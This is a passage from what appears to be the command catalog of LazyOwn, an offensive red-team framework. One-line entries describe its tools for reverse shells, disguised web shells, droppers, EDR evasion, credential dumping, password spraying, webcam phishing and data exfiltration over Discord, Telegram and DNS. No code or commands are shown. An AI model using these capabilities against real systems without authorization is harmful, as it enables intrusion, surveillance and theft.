Phase: postexp | Source: cli/commands/postexp_migrated.py

Trasnform file .exe into donut binary file.

extract_yaml

Phase: postexp | Source: cli/commands/postexp_migrated.py

Extract YAML from an existing debug file and try to create a playbook.

find

Phase: postexp | Source: cli/commands/postexp_migrated.py

Automates command execution based on a list of aliases and commands.

follina

Phase: postexp | Source: cli/commands/postexp.py

Run the Follina (CVE-2022-30190) exploit setup.

hex2shellcode

Phase: postexp | Source: cli/commands/postexp_migrated.py

Convert raw hex payload from msfvenom into NASM-compatible shellcode format.

internet_proxy

Phase: postexp | Source: cli/commands/postexp_migrated.py

Configures the local machine with internet access to act as a proxy for a machine without internet access.

issue_command_to_c2

Phase: postexp | Source: cli/commands/postexp_migrated.py

Exec command in the client using the C2. download: command you must put the file in sessions/temp_upload or use download_c2 command

lazywebshell

Phase: postexp | Source: cli/commands/postexp.py

Run LazyOwn webshell server on port 8888.

mimikatzpy

Phase: postexp | Source: cli/commands/postexp.py

Run Mimikatz over Python (impacket style).

ofuscate_payload

Phase: postexp | Source: cli/commands/postexp_migrated.py

Obfuscates a shell script by encoding it in Base64 and prepares a command to decode and execute it.

ofuscate_string

Phase: postexp | Source: cli/commands/postexp_migrated.py

Ofuscate a string into Go code.

ofuscatesh

Phase: postexp | Source: cli/commands/postexp_migrated.py

Obfuscates a shell script by encoding it in Base64 and prepares a command to decode and execute it.

ofuscatorps1

Phase: postexp | Source: cli/commands/postexp.py

Obfuscate a PowerShell script.

path2hex

Phase: postexp | Source: cli/commands/postexp_migrated.py

Convert a binary path to x64 little-endian hex code for shellcode injection.

pezorsh

Phase: postexp | Source: cli/commands/postexp_migrated.py

Executes the PEzor tool to pack executables or shellcode with custom configurations.

pip_proxy

Phase: postexp | Source: cli/commands/postexp_migrated.py

Configures the local machine with internet access to act as a pip proxy for a machine without internet access.

pip_repo

Phase: postexp | Source: cli/commands/postexp_migrated.py

Sets up a local pip repository to serve Python packages for installation on a compromised machine without internet access.

powershell_cmd_stager

Phase: postexp | Source: cli/commands/postexp_migrated.py

Generate and execute a PowerShell command stager to run a .ps1 script.

rmfromfind

Phase: postexp | Source: cli/commands/postexp_migrated.py

Remove a custom command by index (as shown in 'find').

rubeus

Phase: postexp | Source: cli/commands/postexp_migrated.py

Copies a command to the clipboard for downloading and running Rubeus.

scavenger

Phase: postexp | Source: cli/commands/postexp.py

Run the Scavenger post-exploitation data collector.

scp

Phase: postexp | Source: cli/commands/postexp_migrated.py

Copies the local "sessions" directory to a remote host using scp, leveraging sshpass for automated authentication.

service_ssh

Phase: postexp | Source: cli/commands/postexp_migrated.py

Creates a systemd service file for a specified binary and generates a script to enable and start the service.

sessionsshstrace

Phase: postexp | Source: cli/commands/postexp_migrated.py

Attach strace to a running process and log output to a file.

shellcode

Phase: postexp | Source: cli/commands/postexp.py

Generate and manage shellcode.

shellcode2elf

Phase: postexp | Source: cli/commands/postexp_migrated.py

Convert shellcode into an ELF file and infect it.

shellcode2sylk

Phase: postexp | Source: cli/commands/postexp_migrated.py

Converts shellcode to SYLK format and saves the result to a file.

shellcode_search

Phase: postexp | Source: cli/commands/postexp_migrated.py

Search the shell-storm API for shellcodes using the provided keywords.

ssh_cmd

Phase: postexp | Source: cli/commands/postexp_migrated.py

Perform Remote Execution Command through SSH using configured start_user. See help grisun0 for backdoor user configuration.

yara_scan

Phase: postexp | Source: cli/commands/postexp_migrated.py

Scan files or directories with YARA rules for malware/IOCs.

05. Persistence

asprevbase64

Phase: persist | Source: cli/commands/persist_migrated.py

Creates a base64 encoded ASP reverse shell payload and copies it to the clipboard.

backdoor_factory

Phase: persist | Source: cli/commands/persist_migrated.py

Creates a backdoored executable using backdoor-factory.

beaconcfg

Phase: persist | Source: cli/commands/persist_migrated.py

Generate a C2 beacon profile with traffic morphing and domain fronting.

conptyshell

Phase: persist | Source: cli/commands/persist.py

Download ConPtyShell and prepare a PowerShell run command.

createrevshell

Phase: persist | Source: cli/commands/persist.py

Create a bash reverse shell script in sessions/.

createwebshell

Phase: persist | Source: cli/commands/persist.py

Create web shells (JPG-disguised PHP, p0wny-shell, ASP).

createwinrevshell

Phase: persist | Source: cli/commands/persist.py

Create a Windows reverse shell (PowerShell).

darkarmour

Phase: persist | Source: cli/commands/persist_migrated.py

Uses the darkarmour tool to generate an undetectable version of a PE executable.

dr0p1t

Phase: persist | Source: cli/commands/persist_migrated.py

Execute the Dr0p1t tool to create a stealthy malware dropper.

ftp

Phase: persist | Source: cli/commands/persist_migrated.py

Connects to an ftp host using credentials from a file and a specified port.

generate_revshell

Phase: persist | Source: cli/commands/persist_migrated.py

Generate a reverse shell in various programming languages.

grisun0

Phase: persist | Source: cli/commands/persist_migrated.py

Creates and copies a shell command to add a new user, assign a password, add the user to the sudo group, and switch to the user.

grisun0w

Phase: persist | Source: cli/commands/persist_migrated.py

Creates and copies a PowerShell command to add a new user, assign a password, add the user to the Administrators group, and switch to the user.

ivy

Phase: persist | Source: cli/commands/persist_migrated.py

Generates payloads using Ivy with various options. Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.

knokknok

Phase: persist | Source: cli/commands/persist_migrated.py

Send special string to trigger a reverse shell, with the command 'c2 client_name'

listener_go

Phase: persist | Source: cli/commands/persist_migrated.py

Configures and starts a listener for a specified victim.

listener_py

Phase: persist | Source: cli/commands/persist_migrated.py

Configures and starts a listener for a specified victim.

msfpc

Phase: persist | Source: cli/commands/persist_migrated.py

Generates payloads using MSFvenom Payload Creator (MSFPC).

paranoid_meterpreter

Phase: persist | Source: cli/commands/persist_migrated.py

Creates and deploys a paranoid Meterpreter payload and listener with SSL/TLS pinning and UUID tracking.

pwncat

Phase: persist | Source: cli/commands/persist_migrated.py

Runs pwncat with the specified port for listening. SELFINJECT

pwncatcs

Phase: persist | Source: cli/commands/persist.py

Start a pwncat-cs reverse shell listener.

rdp

Phase: persist | Source: cli/commands/persist_migrated.py

Reads credentials from a file, encrypts the password, and executes the RDP connection command.

revwin

Phase: persist | Source: cli/commands/persist.py

Create a Windows reverse shell executable.

scarecrow

Phase: persist | Source: cli/commands/persist_migrated.py

Executes ScareCrow with various options for bypassing EDR solutions and executing shellcode.

service

Phase: persist | Source: cli/commands/persist_migrated.py

Creates a systemd service file for a specified binary and generates a script to enable and start the service.

setoolKits

Phase: persist | Source: cli/commands/persist_migrated.py

Executes the SEToolKit workflow to generate a Meterpreter payload

toctoc

Phase: persist | Source: cli/commands/persist_migrated.py

Sends a magic packet to the Chinese malware.

veil

Phase: persist | Source: cli/commands/persist_migrated.py

Generates payloads using Veil-Evasion with various options. Veil-Evasion is a payload creation framework

weevely

Phase: persist | Source: cli/commands/persist_migrated.py

Connect to PHP backdoor using Weevely, protected with the given password.

weevelygen

Phase: persist | Source: cli/commands/persist_migrated.py

Generate a PHP backdoor using Weevely, protected with the given password.

wmi_lateral

Phase: persist | Source: cli/commands/persist.py

Execute a command on a remote host via WMI.

wmi_persist

Phase: persist | Source: cli/commands/persist.py

Create WMI Event Subscription persistence (fileless, no disk write).

wmi_scheduled_task

Phase: persist | Source: cli/commands/persist.py

Create a scheduled task for persistence via WMI.

06. Privilege Escalation

crystal_ball

Phase: privesc | Source: cli/commands/crystal_ball.py

Analyze linpeas/winpeas output and rank privesc vectors with exact commands.

gtfo

Phase: privesc | Source: cli/commands/privilege_escalation.py

Look up a binary in GTFOBins and LOLBas parquet knowledge bases.

juicypotato

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve JuicyPotato over HTTP for Windows privilege escalation.

les

Phase: privesc | Source: cli/commands/privilege_escalation.py

Run Linux Exploit Suggester against a kernel version.

linpeas

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve linpeas.sh over HTTP and print the target one-liner.

printspoofer

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve PrintSpoofer over HTTP for Windows privilege escalation.

privesc_cmd_by_os

Phase: privesc | Source: cli/commands/privilege_escalation.py

Prepare and send a linpeas/winpeas command to a C2 client.

privesc_suggest

Phase: privesc | Source: cli/commands/crystal_ball.py

Quick alias for crystal_ball --auto.

pspy

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve the pspy process monitor over HTTP.

responder

Phase: privesc | Source: cli/commands/privilege_escalation.py

Run Responder on the configured device with elevated privileges.

smbserver

Phase: privesc | Source: cli/commands/privilege_escalation.py

Stand up an Impacket SMB server with three relay variants.

sudo

Phase: privesc | Source: cli/commands/privilege_escalation.py

Re-launch the framework with root privileges when missing.

sudo_privesc

Phase: privesc | Source: cli/commands/privilege_escalation.py

Analyse sudo -l output and cross-reference with GTFOBins.

suid_check

Phase: privesc | Source: cli/commands/privilege_escalation.py

Print SUID/SGID enumeration commands ready to paste on the target.

whoami_priv

Phase: privesc | Source: cli/commands/privilege_escalation.py

Print privilege enumeration commands for the target OS.

winpeas

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve a winPEAS variant over HTTP and print the target one-liner.

07. Credential Access

addusers

Phase: cred | Source: cli/commands/cred_migrated.py

Opens or creates the users.txt file in the sessions directory for editing using nano.

adsso_spray

Phase: cred | Source: cli/commands/cred_migrated.py

Performs a password spray attack on Azure Active Directory Seamless Single Sign-On (SSO) using a specified list of users.

cewl

Phase: cred | Source: cli/commands/cred.py

Generate a wordlist from a website with cewl.

crack_cisco_7_password

Phase: cred | Source: cli/commands/cred_migrated.py

Crack a Cisco Type 7 password hash and display the plaintext.

createcredentials

Phase: cred | Source: cli/commands/cred_migrated.py

Creates a credentials.txt file in the sessions directory with the specified username and password.

createhash

Phase: cred | Source: cli/commands/cred_migrated.py

Creates a hash.txt file in the sessions directory with the specified hash value and analyzes it using Name-the-hash.

createmail

Phase: cred | Source: cli/commands/cred_migrated.py

Generate email permutations based on a full name and self.params['domain'], then save them to a file.

createusers_and_hashs

Phase: cred | Source: cli/commands/cred_migrated.py

Command createusers_and_hashs: Extracts usernames and hashes from a dump file.

cred

Phase: cred | Source: cli/commands/cred_migrated.py

Display the credentials stored in the credentials.txt file and copy the password to the clipboard.

creds_py

Phase: cred | Source: cli/commands/cred.py

Extract credentials from a file or command output.

crunch

Phase: cred | Source: cli/commands/cred.py

Generate wordlists with crunch.

cubespraying

Phase: cred | Source: cli/commands/cred_migrated.py

Command cubespraying: Automates the installation and usage of CubeSpraying for performing credential spraying attacks.

dacledit

Phase: cred | Source: cli/commands/cred_migrated.py

Execute the dacledit.py command for a specific user or all users listed in the users.txt file.

generatedic

Phase: cred | Source: cli/commands/cred_migrated.py

Generates a wordlist based on a target name and a list of characters, with various combinations.

hashcat

Phase: cred | Source: cli/commands/cred.py

Run hashcat password cracking.

hydra

Phase: cred | Source: cli/commands/cred.py

Run Hydra for online password attacks.

john2hash

Phase: cred | Source: cli/commands/cred.py

Convert a hash to John the Ripper format.

john2keepas

Phase: cred | Source: cli/commands/cred_migrated.py

List all .kdbx files in the 'sessions' directory, let the user select one, and run the

john2zip

Phase: cred | Source: cli/commands/cred_migrated.py

List all .zip files in the 'sessions' directory, let the user select one, and run the command

keepass

Phase: cred | Source: cli/commands/cred_migrated.py

Open a .kdbx file and print the titles and contents of all entries. The password can be provided through

medusa

Phase: cred | Source: cli/commands/cred.py

Run Medusa for online password attacks.

passtightvnc

Phase: cred | Source: cli/commands/cred_migrated.py

Decrypts TightVNC passwords using Metasploit.

passwordspray

Phase: cred | Source: cli/commands/cred_migrated.py

Perform password spraying using crackmapexec with the provided parameters.

refill_password

Phase: cred | Source: cli/commands/cred_migrated.py

Generate a list of possible passwords by filling each asterisk in the input with user-specified characters.

rocky

Phase: cred | Source: cli/commands/cred_migrated.py

Reduces a wordlist based on the specified password length.

searchhash

Phase: cred | Source: cli/commands/cred_migrated.py

Helps to find hash types in Hashcat by searching through its help output.

smalldic

Phase: cred | Source: cli/commands/cred_migrated.py

Handles the creation of temporary files for users and passwords based on a small dictionary.

spraykatz

Phase: cred | Source: cli/commands/cred.py

Run SprayKatz for credential spraying.

sshkey

Phase: cred | Source: cli/commands/cred.py

Generate an SSH key pair.

transform

Phase: cred | Source: cli/commands/cred_migrated.py

Transforms the input string based on user-defined casing style.

username_anarchy

Phase: cred | Source: cli/commands/cred_migrated.py

Generate usernames using the username-anarchy tool based on user input.

08. Lateral Movement

addcli

Phase: lateral | Source: cli/commands/lateral_migrated.py

Add a client to execute c2 commands

bitm

Phase: lateral | Source: cli/commands/bitm.py

Browser-in-the-Middle attack manager.

bloodyAD

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute the bloodyAD.py command for a specific user or all users listed in the users.txt file.

chisel

Phase: lateral | Source: cli/commands/lateral.py

Run chisel for quick tunneling.

dcomexec

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes the Impacket dcomexec tool to run commands on a remote system using DCOM.

dominion

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute a fully automated Active Directory domain takeover.

getTGT

Phase: lateral | Source: cli/commands/lateral_migrated.py

Requests a Ticket Granting Ticket (TGT) using the Impacket tool with provided credentials.

gospherus

Phase: lateral | Source: cli/commands/lateral_migrated.py

Command gospherus: Clones and uses the Gopherus tool to generate gopher payloads for various services.

id_rsa

Phase: lateral | Source: cli/commands/lateral_migrated.py

Create an SSH private key file and connect to a remote host using SSH.

lateral_mov_lin

Phase: lateral | Source: cli/commands/lateral_migrated.py

Perform lateral movement by downloading and installing LazyOwn on a remote Linux machine.

ligolo

Phase: lateral | Source: cli/commands/lateral.py

Run Ligolo-ng for advanced pivoting.

mssqlcli

Phase: lateral | Source: cli/commands/lateral_migrated.py

Attempts to connect to an MSSQL server using the mssqlclient.py tool with Windows authentication.

nc

Phase: lateral | Source: cli/commands/lateral.py

Netcat listener or connect.

ngrok

Phase: lateral | Source: cli/commands/lateral.py

Start ngrok tunnel.

penelope

Phase: lateral | Source: cli/commands/lateral_migrated.py

Command penelope: Installs and runs Penelope for handling reverse and bind shells.

regeorg

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes the reGeorg tool for HTTP(s) tunneling through a SOCKS proxy.

rnc

Phase: lateral | Source: cli/commands/lateral_migrated.py

Runs nc with rlwrap the specified port for listening.

set_proxychains

Phase: lateral | Source: cli/commands/lateral.py

Configure proxychains for the current session.

shadowsocks

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute the Shadowsocks tool to create a secure tunnel for network traffic.

socat

Phase: lateral | Source: cli/commands/lateral.py

Run socat for port forwarding.

ssh

Phase: lateral | Source: cli/commands/lateral.py

SSH to a remote host (custom port).

sshd

Phase: lateral | Source: cli/commands/lateral_migrated.py

Starts the SSH service and displays its status.

stormbreaker

Phase: lateral | Source: cli/commands/lateral_migrated.py

Command stormbreaker: Automates the installation and usage of Storm-Breaker for performing various network attacks.

targetedKerberoas

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes the targetedKerberoast tool for extracting Kerberos service tickets.

tord

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute the tor.sh script with the specified port or default to port 80 if no port is provided.

upload_c2

Phase: lateral | Source: cli/commands/lateral_migrated.py

upload command in the client using the C2 to upload a file

vpn

Phase: lateral | Source: cli/commands/lateral_migrated.py

Connect to a VPN by selecting from available .ovpn files.

wifipass

Phase: lateral | Source: cli/commands/lateral_migrated.py

This function generates a PowerShell script that retrieves saved Wi-Fi passwords on a Windows system.

wmiexec

Phase: lateral | Source: cli/commands/lateral.py

Execute commands via WMI.

wmiexecpro

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes wmiexec-pro with various options for WMI operations.

09. Data Exfiltration

adgetpass

Phase: exfil | Source: cli/commands/exfiltration.py

Generate a PowerShell script to extract Azure AD Connect credentials.

decrypt

Phase: exfil | Source: cli/commands/exfiltration.py

Decrypt an XOR-encrypted file using the matching key.

dns_beacon

Phase: exfil | Source: cli/commands/dns_exfil.py

Start a DNS tunneling beacon.

dns_beacon_status

Phase: exfil | Source: cli/commands/dns_exfil.py

Show status of all DNS beacons.

dns_exfil_listen

Phase: exfil | Source: cli/commands/dns_exfil.py

Start a DNS exfiltration listener on UDP port 53.

download_c2

Phase: exfil | Source: cli/commands/exfiltration.py

Download a file from the C2 implant via the upload command.

dpapi_blob

Phase: exfil | Source: cli/commands/dpapi.py

Decrypt a DPAPI blob offline.

dpapi_harvest

Phase: exfil | Source: cli/commands/dpapi.py

Harvest all DPAPI-protected credentials from the local machine.

dpapi_masterkeys

Phase: exfil | Source: cli/commands/dpapi.py

List and extract DPAPI master keys.

dploot

Phase: exfil | Source: cli/commands/exfiltration.py

Run dploot to loot DPAPI-protected secrets.

encrypt

Phase: exfil | Source: cli/commands/exfiltration.py

Encrypt a file with XOR using a caller-supplied key.

evidence

Phase: exfil | Source: cli/commands/exfiltration.py

Encode the sessions/ tree into a video file or decode one back.

evilwinrm

Phase: exfil | Source: cli/commands/exfiltration.py

Drive Evil-WinRM through password, hash or kerberos-only auth.

exfil_auto

Phase: exfil | Source: cli/commands/exfiltration.py

Auto-detect flags and sensitive files, then exfiltrate.

exfil_discord

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate a file via Discord webhook.

exfil_dns

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate data via DNS tunneling.

exfil_gcs

Phase: exfil | Source: cli/commands/exfiltration.py

Upload a file to Google Cloud Storage.

exfil_http

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate a file via HTTP POST to a controlled server.

exfil_s3

Phase: exfil | Source: cli/commands/exfiltration.py

Upload a file to an AWS S3 bucket.

exfil_start_server

Phase: exfil | Source: cli/commands/dns_exfil.py

Start all required exfiltration listeners.

exfil_telegram

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate a file via Telegram Bot API.

getadusers

Phase: exfil | Source: cli/commands/exfiltration.py

Run impacket-GetADUsers to enumerate AD accounts on the DC.

getnthash_py

Phase: exfil | Source: cli/commands/exfiltration.py

Recover the NT hash from a Kerberos U2U TGS via PKINITtools.

getuserspns

Phase: exfil | Source: cli/commands/exfiltration.py

Run impacket-GetUserSPNs to request roastable service tickets.

gitdumper

Phase: exfil | Source: cli/commands/exfiltration.py

Install git-dumper if missing and pull a remote .git tree.

gmsadumper

Phase: exfil | Source: cli/commands/exfiltration.py

Run gMSADumper to read gMSA password blobs visible to the user.

http_exfil_server

Phase: exfil | Source: cli/commands/dns_exfil.py

Start a minimal HTTP exfiltration receiver.

reg_py

Phase: exfil | Source: cli/commands/exfiltration.py

Query a remote registry hive with impacket-reg.py over hash auth.

rsync

Phase: exfil | Source: cli/commands/exfiltration.py

Push the sessions/ tree to rhost over SCP with sshpass.

samdump2

Phase: exfil | Source: cli/commands/exfiltration.py

Run samdump2 against sessions/SYSTEM and sessions/SAM.

secretsdump

Phase: exfil | Source: cli/commands/exfiltration.py

Run impacket-secretsdump for SAM, credentials, or NTDS payloads.

smb_exfil

Phase: exfil | Source: cli/commands/dns_exfil.py

Exfiltrate files to an SMB share on the attacker machine.

stage

Phase: exfil | Source: cli/commands/exfiltration.py

Stage data for exfiltration: compress, encrypt, and split.

unzip

Phase: exfil | Source: cli/commands/exfiltration.py

Extract a zip archive located under sessions/.

upload_gofile

Phase: exfil | Source: cli/commands/exfiltration.py

Upload a file from sessions/ to Gofile via its HTTP API.

10. Command & Control

apt_playbook

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

List, validate, and run APT playbooks based on public threat reports.

atomic_agent

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates and synchronizes atomic agent scripts.

atomic_gen

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates test and cleanup scripts for a given Atomic Red Team technique ID.

atomic_tests

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Executes Atomic Red Team tests based on user-selected platform and test.

attack_plan

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Executes a multi-step APT simulation plan based on Atomic Red Team test IDs.

automsf

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Try to check if Vulnerable using the module passed by argument of lazyown example automsf exploit/windows/iis/iis_webdav_upload_asp to use in metasploit

c2

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Handle C2 server setup and agent compilation.

c2_beacon_cmd

Phase: c2 | Source: cli/commands/command_and_control.py

Queue a command for execution on a connected beacon.

c2_beacons

Phase: c2 | Source: cli/commands/command_and_control.py

List all active beacon sessions with their last-seen timestamps.

c2_implant

Phase: c2 | Source: cli/commands/command_and_control.py

Generate a compiled implant payload for the target platform.

c2_keygen

Phase: c2 | Source: cli/commands/command_and_control.py

Generate a fresh AES-256 key for beacon encryption.

c2_quickstart

Phase: c2 | Source: cli/commands/command_and_control.py

Quick C2 setup: generate key, prepare implant dir, print beacon commands.

c2_status

Phase: c2 | Source: cli/commands/command_and_control.py

Show consolidated C2 status: listeners, beacons, implants, and sessions.

caldera

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Installs and starts the Caldera server.

caldera_export

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Export a LazyOwn playbook to CALDERA ability YAML.

caldera_import

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Import CALDERA abilities into LazyOwn playbooks.

duckyspark

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

duckyspark Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

emp3r0r

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Command emp3r0r Downloads and sets up the Emperor server for local exploitation.

empire

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates payloads using PowerShell Empire with various options.

generate_playbook

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates a playbook that integrates Atomic Red Team tests and MITRE ATT&CK techniques.

iis_webdav_upload_asp

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

(CVE-2017-7269). Vulnerable using the module iis_webdav_upload_asp of metasploit

listener

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Manage C2 listeners: list, add, start, stop, remove.

mitre_test

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Interacts with the MITRE ATT&CK framework using the STIX 2.0 format.

msf

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Automates various Metasploit tasks including scanning for vulnerabilities, setting up reverse shells, and creating payloads.

msfrpc

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Connects to the msfrpcd daemon and allows remote control of Metasploit.

my_playbook

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates a playbook from your custom technique database.

sandbox

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Toggle or query Docker sandbox mode.

sliver_server

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Starts the Sliver server and generates a client configuration file for connecting clients.

11. Reporting

apropos

Phase: report | Source: cli/commands/report_migrated.py

Search for commands matching the given parameter in the cmd interface and optionally extend the search using the system's apropos command.

banners

Phase: report | Source: cli/commands/report.py

Manage custom banners for the framework.

c2asm

Phase: report | Source: cli/commands/report_migrated.py

Display C and ASM code side by side in a curses-based interface.

camphish

Phase: report | Source: cli/commands/report_migrated.py

Executes the camphish tool for Grab cam shots from target's phone front camera or PC webcam just sending a link.

create_session_json

Phase: report | Source: cli/commands/report.py

Create the session JSON report file.

createjsonmachine

Phase: report | Source: cli/commands/report_migrated.py

Create a new JSON payload file based on the template provided in payload.json.

createjsonmachine_batch

Phase: report | Source: cli/commands/report_migrated.py

Create multiple JSON payload files based on a CSV input file from HackerOne.

createtargets

Phase: report | Source: cli/commands/report.py

Create targets file from nmap scan.

download_malwarebazar

Phase: report | Source: cli/commands/report_migrated.py

Download a malware sample from MalwareBazaar using its SHA256 hash.

extract_ports

Phase: report | Source: cli/commands/report_migrated.py

Extracts open ports and IP address information from a specified file.

eyewitness

Phase: report | Source: cli/commands/report.py

Run EyeWitness for web screenshot capture.

eyewitness_py

Phase: report | Source: cli/commands/report_migrated.py

Automates EyeWitness installation and execution without requiring user input.

gen_report

Phase: report | Source: cli/commands/report_enhanced.py

Generate enhanced professional penetration test reports.

get_avaible_actions

Phase: report | Source: cli/commands/report_migrated.py

Get list de supported acctions.

gowitness

Phase: report | Source: cli/commands/report.py

Run gowitness for web screenshot capture.

gpt

Phase: report | Source: cli/commands/report.py

Query GPT/Groq AI for analysis and reporting.

img2vid

Phase: report | Source: cli/commands/report_migrated.py

Generates an MP4 video from PNG images found in the sessions/captured_images directory.

lazyreport

Phase: report | Source: cli/commands/report_migrated.py

Generate a professional red team report from session data.

malwarebazar

Phase: report | Source: cli/commands/report.py

Search Malware Bazaar for malware samples.

morse

Phase: report | Source: cli/commands/report_migrated.py

Interactive Morse Code Converter.

name_the_hash

Phase: report | Source: cli/commands/report_migrated.py

Identify hash type using nth after retrieving it with get_hash().

nmapscripthelp

Phase: report | Source: cli/commands/report_migrated.py

Provides help to find and display information about Nmap scripts.

process_scans

Phase: report | Source: cli/commands/report_migrated.py

Processes CSV files with scan results and vulnerability data to generate a Shodan-like JSON database.

pth_net

Phase: report | Source: cli/commands/report_migrated.py

Executes the Pass-the-Hash (PTH) Net tool to change the password of an Active Directory account.

pup

Phase: report | Source: cli/commands/report_migrated.py

Processes HTML content from a specified URL using the pup utility and a default CSS selector.

vulns

Phase: report | Source: cli/commands/report.py

Display or manage vulnerabilities.

12. Miscellaneous

EOF

Phase: misc | Source: cli/commands/misc_migrated.py

Handle the end-of-file (EOF) condition.

acknowledgearp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to acknowledge ARP requests by setting a kernel parameter.

acknowledgeicmp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to respond to ICMP echo requests by setting a kernel parameter.

addalias

Phase: misc | Source: cli/commands/misc_migrated.py

Add a new alias with support for placeholders like {rhost}, {lhost}, {lport}, etc.

addhosts

Phase: misc | Source: cli/commands/misc_migrated.py

Adds an entry to the /etc/hosts file, mapping an IP address to a domain name.

aliass

Phase: misc | Source: cli/commands/misc_migrated.py

Prints all configured aliases and their associated commands.

assign

Phase: misc | Source: cli/commands/misc_migrated.py

assign a parameter value, persist to payload.json and refresh aliases.

back

Phase: misc | Source: cli/commands/module_manager.py

Leave the current module context.

banner

Phase: misc | Source: cli/commands/misc_migrated.py

Show the banner

base64decode

Phase: misc | Source: cli/commands/misc_migrated.py

Decodes a Base64 encoded string.

base64encode

Phase: misc | Source: cli/commands/misc_migrated.py

Encodes a given string into Base64 format.

browse

Phase: misc | Source: cli/commands/misc_migrated.py

Open the sessions/ TUI browser.

campaign

Phase: misc | Source: cli/commands/campaign.py

Export or import an entire campaign as a portable package.

catalog

Phase: misc | Source: cli/commands/catalog.py

Browse the command catalog.

chainmode

Phase: misc | Source: cli/commands/misc_migrated.py

Toggle interactive kill-chain chaining after every command.

check_update

Phase: misc | Source: cli/commands/misc_migrated.py

Checks for updates by comparing the local version with the remote version.

clean

Phase: misc | Source: cli/commands/misc_migrated.py

Deletes files and directories in the sessions directory, excluding specified files and directories.

clock

Phase: misc | Source: cli/commands/misc_migrated.py

Displays the current date and time, and runs a custom shell script.

clone_site

Phase: misc | Source: cli/commands/misc_migrated.py

Clone a website and serve the files in sessions/{url_cloned}.

collab_join

Phase: misc | Source: cli/commands/misc_migrated.py

Print the multi-operator collaboration join URL and SSE endpoint.

config_banner

Phase: misc | Source: cli/commands/misc_migrated.py

Open a Powerlevel10k-style wizard to toggle prompt segments.

cred_mark_failed

Phase: misc | Source: cli/commands/automation.py

Mark a credential as failed against a host.

cred_reuse

Phase: misc | Source: cli/commands/automation.py

Analyze captured credentials and suggest spray targets.

cron

Phase: misc | Source: cli/commands/misc_migrated.py

Schedules a command to run at a specified time.

ctx

Phase: misc | Source: cli/commands/misc_migrated.py

Print a single-line operator context: rhost, lhost, domain, phase, os, creds.

daemon_approve

Phase: misc | Source: cli/commands/misc_migrated.py

Approve or veto the daemon's currently-pending action.

daemon_focus

Phase: misc | Source: cli/commands/misc_migrated.py

Restrict the autonomous daemon to a set of focus targets.

daemon_mode

Phase: misc | Source: cli/commands/misc_migrated.py

Switch the autonomous daemon between auto, approval and paused modes.

daemon_pause

Phase: misc | Source: cli/commands/misc_migrated.py

Pause the autonomous daemon before its next step.

daemon_resume

Phase: misc | Source: cli/commands/misc_migrated.py

Resume the autonomous daemon (switch mode to auto).

daemon_veto

Phase: misc | Source: cli/commands/misc_migrated.py

Add or clear vetoed command first-tokens for the autonomous daemon.

dashboard

Phase: misc | Source: cli/commands/misc_migrated.py

Launch the full-screen LazyOwn operator dashboard (Textual TUI).

db_creds

Phase: misc | Source: cli/commands/database.py

List or add credentials.

db_export

Phase: misc | Source: cli/commands/database.py

Export database table to CSV.

db_hosts

Phase: misc | Source: cli/commands/database.py

List or add hosts in the active workspace.

db_import

Phase: misc | Source: cli/commands/database.py

Import scan results into the database.

db_init

Phase: misc | Source: cli/commands/database.py

Initialize the database (creates schema if not exists).

db_loot

Phase: misc | Source: cli/commands/database.py

List or add loot items.

db_notes

Phase: misc | Source: cli/commands/database.py

List or add notes.

db_services

Phase: misc | Source: cli/commands/database.py

List all services in the active workspace.

db_status

Phase: misc | Source: cli/commands/database.py

Show entity counts for the active workspace.

db_vulns

Phase: misc | Source: cli/commands/database.py

List or add vulnerabilities.

db_workspace

Phase: misc | Source: cli/commands/database.py

Manage workspaces (list, create, switch, delete).

decode

Phase: misc | Source: cli/commands/misc_migrated.py

Decode a string using the specified shift value and substitution key.

doctor

Phase: misc | Source: cli/commands/misc_migrated.py

Preflight environment health check — verify the install is ready.

download_resources

Phase: misc | Source: cli/commands/misc_migrated.py

Downloads resources into the sessions directory.

encode

Phase: misc | Source: cli/commands/misc_migrated.py

Encodes a string using the specified shift value and substitution key.

encoderpayload

Phase: misc | Source: cli/commands/misc_migrated.py

